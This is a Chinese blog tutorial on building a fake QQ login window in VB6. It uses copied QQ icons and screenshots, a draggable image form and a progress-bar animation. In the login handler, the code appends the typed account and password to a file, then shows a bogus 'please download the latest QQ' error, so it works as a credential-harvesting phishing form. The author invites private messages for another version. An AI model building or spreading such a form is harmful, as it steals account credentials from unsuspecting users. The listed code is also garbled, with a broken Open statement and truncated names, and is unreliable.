如何用vb6编辑登陆界面

嫌啰嗦的，直接拉到20分开始看结果哈

今天学习了刘金玉老师零基础VB教程的第50期，学习的主要内容是progressbar控件使用和模拟QQ登录界面动画。悄悄的做了一个模拟QQ登录界面。

案例：模拟QQ登录界面

1开发思路：模拟QQ登录界面。

2.准备工作：①在C盘搜索：*.ICO，找到QQ程序图标，复制备用；②打开QQ应用，截取登录界面图。

3.QQ登录动态效果实现：通过多张图片的替换实现动态效果。利用时钟控件和连续不断循环加载图片函数控制实现QQ登录窗口的动态效果，通过progressbar控件模拟进度条效果，通过属性value值变化可以设置当前进度，实现登录进程的动态效果。

4.如图新建两个窗体。窗体1新建一个image控件，然后加载QQ登录界面图片，按照登录界面调整好大小，分别在登录位置、最小化窗口、关闭窗口位置新建label控件，将label控件的backstyle属性设置为0，caption设置为空（补充知识：通过label控件的透明属性实现按钮功能）。在QQ号码栏和密码栏分别新建一个text控件，调整好位置和字体大小，backstyle属性设置为0。新建一个时钟控件。窗体2新建1个ProgressBar控件，1个时钟控件，一个label控件，如图设置好。

5.输入代码

窗体1代码：

Dim imageindex As Integer

Dim oldx As Single

Dim oldy As Single

Dim canmove As Boolean

Private Sub image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)

oldx = X

oldy = Y

canmove = True

End Sub

Private Sub image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

If canmove Then

Form1.Left = Form1.Left + (X - oldx)

Form1.Top = Form1.Top + (Y - oldy)

End If

End Sub

Private Sub image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)

canmove = False

End Sub

Private Sub Label1_Click()

End

End Sub

Private Sub Label2_Click()

Open A & "; For Append As #1

Print #1, Tex & ";" & Tex

Close #1

If Tex = "123456" And Tex = "abc123" Then

Form2.Show

Unload Form1

Else

MsgBox "请下载最新版本QQ登录。", vbCritical, "QQ"

End If

End Sub

Private Sub Label3_Click()

Form1.WindowState = 1

End Sub

Private Sub Timer1_Timer()

imageindex = imageindex + 1

If imageindex >= 1 Then

imageindex = 1

End If

Image1.Picture = LoadPicture(A & "/QQ" & imageindex & ".JPG")

End Sub

窗体2代码：

Private Sub Timer1_Timer()

If Progre = 100 Then

Timer1.Enabled = False

Exit Sub

End If

Progre = Progre + 1

End Sub

6.运行效果详见文章视频

后面我又简化了一个版本，需要模拟登录的朋友悄悄的私信我哈。不懂的可以留言。